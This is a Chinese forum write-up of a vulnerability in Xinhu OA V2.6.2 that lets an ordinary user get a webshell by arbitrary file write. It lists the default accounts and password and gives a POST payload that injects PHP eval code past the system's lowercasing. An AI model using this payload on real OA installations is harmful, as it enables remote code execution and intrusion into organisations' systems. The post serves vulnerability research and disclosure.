-
-
[原创]信呼OA普通用户权限getshell方法
-
发表于: 2024-2-28 10:06 3225
-
0x01 前言
信呼OA是一款开源的OA系统,面向社会免费提供学习研究使用,采用PHP语言编写,搭建简单方便,在中小企业中具有较大的客户使用量。从公开的资产治理平台中匹配到目前互联中有超过1W+的客户使用案例。
信呼OA目前最新的版本是V2.6.2,发布时间是2023-12-22。作者整体上保持了较高的系统更频率,对历史爆出的安全问题也及时进行修复。目前网上能找到的信呼OA getshell的办法大多数是老版本或者是需要admin权限的,没有针对新版本进行getshell的思路。
0x02 步骤
本地搭建当前最新版的信呼OA系统V2.6.2,如下图所示。
使用普通OA用户登陆,信呼OA安装之后默认存在账号diaochan/xiaoqiao/daqiao/rock/zhangfei/zhaozl等用户,密码都是123456。这里使用普通用户xiaoqiao登陆,然后构造下面的请求。
生成的文件访问如下(以下两种方式均可):
badK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2A6L8X3S2#2i4K6u0W2N6r3g2K6N6q4)9J5k6h3y4G2L8g2)9K6b7e0R3^5z5e0m8Q4x3V1k6%4k6h3u0E0j5h3W2F1i4K6u0r3L8h3!0V1k6h3I4Q4x3V1k6X3L8r3!0%4i4K6u0r3x3W2)9J5y4e0N6n7i4K6t1#2y4@1c8Q4x3U0f1K6b7Y4m8Z5M7r3W2F1k6X3!0Q4x3U0f1J5x3q4)9J5y4e0t1^5i4K6t1#2x3U0W2Q4x3U0f1K6b7X3y4D9j5i4y4K6i4K6t1#2x3U0m8S2e0h3!0V1k6h3I4Q4x3X3g2H3K9s2l9`.
由于传递的参数值会被全部转化为小写字母(下一步的漏洞分析中会提到),导致我们不能在webshell中使用大写字母,所以并不能直接写一句话webshell。绕过方式是可以通过下面的方式来转化一下一句话木马。
POST:
id=1&name=a{};eval (strtoupper("eval ($_request[1]);"));class a
# 0x03 分析
在webmain/main/flow/flowAction.php文件中,其中copymodeAjax接收外部用户传入的参数,如下图所示。
继续跟踪createtxt方法,如下所示,仅仅只是进行了文件写入操作,并没有进行过滤,导致任意文件写入漏洞。
原文链接:5a4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0M7q4)9J5k6i4N6W2K9i4S2A6L8W2)9J5k6i4q4I4i4K6u0W2j5$3!0E0i4K6u0r3M7#2)9J5c8V1b7@1z5e0q4x3f1r3#2U0k6s2m8c8L8$3W2C8k6e0m8m8k6g2)9#2k6Y4c8x3f1b7`.`.
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!